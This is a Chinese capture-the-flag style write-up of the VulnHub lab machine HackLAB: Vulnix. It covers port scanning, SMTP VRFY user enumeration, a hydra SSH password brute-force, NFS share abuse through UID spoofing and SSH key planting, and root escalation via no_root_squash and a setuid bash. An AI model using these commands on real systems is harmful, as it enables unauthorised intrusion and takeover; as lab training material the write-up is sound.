VulnHub靶场篇3-hacklab-vulnix

靶机地址:HackLAB: Vulnix ~ VulnHub

文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

主机探测&端口扫描

端口扫描结果:

hhh@HHH:~/tmp$ nmap -A -sV -p- -T5 192.168.31.218
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-26 17:35 CST
Nmap scan report for 192.168.31.218
Host is up (0.0017s latency).
Not shown: 65518 closed ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
79/tcp    open  finger     Debian fingerd
| finger: Login     Name       Tty      Idle  Login Time   Office     Office Phone\x0D
|_vulnix               pts/0       5  Jan 26 08:28 (192.168.31.145)\x0D
110/tcp   open  pop3?
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      35659/tcp   mountd
|   100005  1,2,3      41858/udp6  mountd
|   100005  1,2,3      50793/tcp6  mountd
|   100005  1,2,3      54601/udp   mountd
|   100021  1,3,4      33047/udp6  nlockmgr
|   100021  1,3,4      47683/udp   nlockmgr
|   100021  1,3,4      56508/tcp   nlockmgr
|   100021  1,3,4      60816/tcp6  nlockmgr
|   100024  1          35356/udp6  status
|   100024  1          45360/udp   status
|   100024  1          55661/tcp   status
|   100024  1          55832/tcp6  status
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
143/tcp   open  imap       Dovecot imapd
|_ssl-date: 2021-01-26T09:38:25+00:00; +6s from scanner time.
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login      OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imaps?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
995/tcp   open  ssl/pop3s?
|_ssl-date: 2021-01-26T09:38:24+00:00; +5s from scanner time.
2049/tcp  open  nfs_acl    2-3 (RPC #100227)
35659/tcp open  mountd     1-3 (RPC #100005)
49537/tcp open  mountd     1-3 (RPC #100005)
55661/tcp open  status     1 (RPC #100024)
55696/tcp open  mountd     1-3 (RPC #100005)
56508/tcp open  nlockmgr   1-4 (RPC #100021)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 5s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.66 seconds

信息搜集&权限获取

枚举用户

从25端口入手,通过smtp可以查看到用户
连接上25端口smtp服务

nc -nv 192.168.31.218 25
-n 指定ip地址
-v 详细输出

使用VRFY命令发现该命令未被禁用

VRFY vulnix
返回 250 说明有该用户

可以借此来枚举用户
SMTP用户枚举原理简介及相关工具 - FreeBuf网络安全行业门户
使用smtp-user-enum脚本,KALI2020没有该脚本,去github上下载即可 传送门 解压后使用
在该目录下输入下面命令,即可枚举出用户名

perl smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.31.218

结果:

######## Scan started at Tue Jan 26 17:47:04 2021 #########
192.168.31.218: bin exists
192.168.31.218: backup exists
192.168.31.218: daemon exists
192.168.31.218: games exists
192.168.31.218: gnats exists
192.168.31.218: irc exists
192.168.31.218: landscape exists
192.168.31.218: libuuid exists
192.168.31.218: list exists
192.168.31.218: lp exists
192.168.31.218: man exists
192.168.31.218: mail exists
192.168.31.218: messagebus exists
192.168.31.218: news exists
192.168.31.218: nobody exists
192.168.31.218: postfix exists
192.168.31.218: postmaster exists
192.168.31.218: proxy exists
192.168.31.218: root exists
192.168.31.218: ROOT exists                                                          
192.168.31.218: sshd exists                                                           
192.168.31.218: sync exists                                                           
192.168.31.218: sys exists                                                           
192.168.31.218: syslog exists                                                        
192.168.31.218: user exists                                                           
192.168.31.218: uucp exists                                                          
192.168.31.218: whoopsie exists
192.168.31.218: www-data exists
######## Scan completed at Tue Jan 26 17:47:05 2021 #########
28 results.

可以使用finger指令来验证该用户的存在

finger user@192.168.31.218 会显示有该用户
finger aa@192.168.31.218 会提示无该用户

NFS服务

nfs是一种可分散式的网络文件系统,在一个局域网内可以共享目录和文件

Linux下NFS配置及远程挂载 - 七彩乌云 - 博客园 (cnblogs.com)

提供了间接修改目录文件的可能

  1. 先查询服务器相关信息
    showmount命令查询NFS服务器的相关信息,可以得知需要挂载的是vulnix的home目录
    Linux系统如何使用showmount命令-系统之家 (xitongzhijia.net)
> showmount -e 192.168.31.218

Export list for 192.168.31.218:
/home/vulnix *
  1. 挂载该服务器的共享文件到本地上
    Linux挂载命令mount用法及参数详解 | 《Linux就该这么学》 (linuxprobe.com)
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
  1. 访问该目录,发现访问不了
    是要和vulnix有相同ID才可以访问
  2. 爆破user的密码
    得到结果user : letmein
hydra -l user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.31.218 ssh
  1. 登录user账号
    查看到vulnix的id为2008
ssh user@192.168.31.218
  1. 本地创建id为2008的vulnix用户
useradd -u 2008 vulnix
passwd vulnix # 设置密码
  1. 切换用户进入本地的vulnix
su vulnix
  1. 生成公钥私钥
ssh-keygen
路径默认
密码任意输入
  1. 放置公钥到挂载目录上,实际就是vulnix的home目录
cp /.ssh/id_rsa.pub /tmp/nfs
  1. 私钥连接到真实vulnix用户上
    输入创建时的密码
ssh vulnix@192.168.31.218

权限提升

思路一:通过bash进行提权

  1. 修改nfs文件任意用户都可访问,在vulnix用户下修改/etc/exports文件
    sudoedit 命令 - 知乎 (zhihu.com)
sudoedit /etc/exports
将root_squash修改成no_root_squash
  1. 通过vulnix用户拷贝一份bash到挂载目录处
vulnix@vulnix:~$ cp /bin/bash
  1. 重启靶机,重新挂载该目录
umount /tmp/nfs
mount -t nfs 192.168.31.218:/home/vulnix /tmp/nfs
  1. 以本地的root权限进行访问挂载目录的nfs文件夹,修改该bash的权限
    使得vulnix可以直接执行
chmod 4777 bash
chown root.root bash

root@HHH:tmp/nfs# ls -al
总用量 932
drwxr-x--- 4 vulnix vulnix   4096 1月  26 16:28 .
drwxr-xr-x 4 hhh    hhh      4096 1月  26 16:20 ..
-rwsrwxrwx 1 root   root   920788 1月  26 16:27 bash
-rw------- 1 vulnix vulnix    119 1月  26 16:28 .bash_history
-rw-r--r-- 1 vulnix vulnix    220 4月   3  2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix   3486 4月   3  2012 .bashrc
drwx------ 2 vulnix vulnix   4096 1月  26 05:21 .cache
-rw-r--r-- 1 vulnix vulnix    675 4月   3  2012 .profile
drwxr-xr-x 2 vulnix vulnix   4096 1月  26 05:20 .ssh
  1. *在用户vulnix中执行bash
./bash -p

不是很清楚-p是什么意思

  1. 前往root目录查看文件即可

总结

  1. smtp服务,用户枚举
  2. nfs文件系统(共享)
  3. 挂载服务器到本地
  4. 创建指定id号的用户
  5. 公钥私钥登录、ssh
  6. sudoedit使用
  7. 修改权限chmod、chown
上一篇:详解Linux安装GCC


下一篇:ntpd dead but pid file exists